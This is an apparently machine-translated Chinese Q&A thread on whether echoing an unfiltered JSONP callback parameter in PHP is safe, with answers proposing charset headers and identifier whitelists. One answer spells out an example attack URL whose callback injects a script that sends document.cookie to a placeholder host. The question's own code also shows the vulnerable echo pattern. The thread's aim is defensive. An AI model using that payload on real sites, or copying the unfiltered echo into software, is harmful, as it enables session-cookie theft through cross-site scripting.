<?php header('content-type: application/json');
$json = json_encode($data);
echo isset($_GET['callback'])
? "{$_GET['callback']}($json)"
: $json;
或者我应该例如过滤$_GET['callback']
变量,以便它只包含有效的JavaScript函数名称?如果是,那么什么是有效的JavaScript函数名称?
或者不是用JSONP过滤那个变量?
当前解决方案:在http://www.geekality.net/?p=1021上了解我目前的解决方案。简而言之,就目前而言,我有以下代码,希望它们非常安全:
<?php header('content-type: application/json; charset=utf-8');
function is_valid_callback($subject)
{
$identifier_syntax
= '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*+$/u';
$reserved_words = array('break', 'do', 'instanceof', 'typeof', 'case',
'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue',
'for', 'switch', 'while', 'debugger', 'function', 'this', 'with',
'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum',
'extends', 'super', 'const', 'export', 'import', 'implements', 'let',
'private', 'public', 'yield', 'interface', 'package', 'protected',
'static', 'null', 'true', 'false');
return preg_match($identifier_syntax, $subject)
&& ! in_array(mb_strtolower($subject, 'UTF-8'), $reserved_words);
}
$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9);
$json = json_encode($data);
# JSON if no callback
if( ! isset($_GET['callback']))
exit( $json );
# JSONP if valid callback
if(is_valid_callback($_GET['callback']))
exit( "{$_GET['callback']}($json)" );
# Otherwise, bad request
header('Status: 400 Bad Request', true, 400);
答案 0 :(得分:17)
不,如果您打算将JSONP限制为选择域。也指定编码,或者不能访问JSON的人可能会执行UTF-7注入攻击。请改用此标头:
header('Content-Type: application/json; charset=utf-8');
如果它应该是公共JSONP服务,那么它是安全的,并且还使用application/javascript
而不是application/json
。
答案 1 :(得分:9)
为安全起见,您应该将callback
编码为仅允许有效的JS函数名称。没有什么复杂的,只是不允许最终开发人员注入任何 javascript。
这是一些代码:
<?php
header('Content-Type: application/json; charset=utf-8'); // Thanks Eli
/**
* Ensures that input string matches a set of whitelisted characters and
* replaces unlisted ones with a replacement string (defaults to underscore).
* @param string $orig The original text to filter.
* @param string $replace The replacement string (default is underscore).
* @param string The original text with bad characters replaced with $replace.
* @link https://github.com/uuf6429/K2F/blob/master/K2F-DEV/core/security.php#L263
*/
function strtoident($orig,$replace=''){
$orig=(string)$orig; // ensure input is a string
for($i=0; $i<strlen($orig); $i++){
$o=ord($orig{$i});
if(!( (($o>=48) && ($o<=57)) // numbers
|| (($o>=97) && ($o<=122)) // lowercase
|| (($o>=65) && ($o<=90)) // uppercase
|| ($orig{$i}=='_'))) // underscore
$orig{$i}=$replace; // check failed, use replacement
}
return $orig;
}
$json=json_encode($data)
echo isset($_GET['callback'])
? strtoident($_GET['callback']).'('.$json.');'
: $json;
?>
修改强>
原因是避免黑客将无辜的受害者指向:
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//
可以分解为:
(function(){
$(document.body).append(
'<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'
);
})//("whatever");
后一部分是你编码的json,很容易用评论取消(尽管他们的利用工作没有必要)。 基本上,黑客了解用户的cookie(以及其他内容),这有助于他访问用户在您网站上的帐户。
编辑:UTF-8兼容性。为了证实我的主张,read here。或者:
与UTF-16和UTF-32类似,UTF-8可以表示Unicode字符集中的每个字符。与它们不同,它向后兼容ASCII,避免了字节顺序和字节顺序标记(BOM)的复杂性。
答案 2 :(得分:2)
我认为这是安全的。只要你没有在另一个页面中回显$ _GET ['callback']而不进行转义。提出要求的人可以把他想要的东西放进去,我想这将永远是他的问题,而不是你的问题。此页面提供了有效js函数名称的定义:http://www.functionx.com/javascript/Lesson05.htm